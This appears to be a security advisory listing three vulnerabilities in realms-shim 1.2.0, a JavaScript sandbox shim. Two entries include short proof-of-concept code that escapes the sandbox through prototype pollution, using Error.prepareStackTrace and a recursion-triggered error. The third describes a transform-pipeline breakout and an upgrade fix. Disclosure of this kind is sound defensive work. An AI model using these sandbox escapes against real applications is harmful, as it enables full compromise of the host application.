realms-shim@1.2.0 vulnerabilities

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'

let realm = Realm.makeRootRealm();
try {
    realm.evaluate(`
        Error.prepareStackTrace = function (error, stackTrace) {        
            stackTrace.__proto__.__proto__.polluted = 'success'            
        };
        x;
    `);
} catch(e) {
    // we do not even need to print e
}
console.log(polluted);

There is no fixed version for realms-shim.

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'
let realm = Realm.makeRootRealm();

realm.evaluate(`
function test() {    
    try {
       test();
    } catch (e) {                        
        e.__proto__.__proto__.__proto__.polluted = "success";        
        new Error().stack; // if one comments this uselss line, the PoC does not work anymore
    }
}
test();`);
console.log(polluted)

There is no fixed version for realms-shim.

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Breakout. The realms-shim is intended to provide a "safe evaluator" which executes arbitrary strings code with limited authority. This provides a "sandbox" which only has access to the specific objects and power that the caller chooses to expose. The evaluate() function it implements takes two additional arguments: endowments (which are exposed in the global lexical scope), and an options bag. The transforms option is a list of functions that are applied to the string of code, to apply Babel-like transformations before it gets executed (e.g. to implement syntax extensions).

A bug was found in the transformation pipeline that exposed a primal-Realm object to one of the transform functions. The confined code could use this to escape the sandbox and compromise the Realm which created it. This generally leads to a full compromise of the application.

Upgrade realms-shim to version 1.2.1 or higher.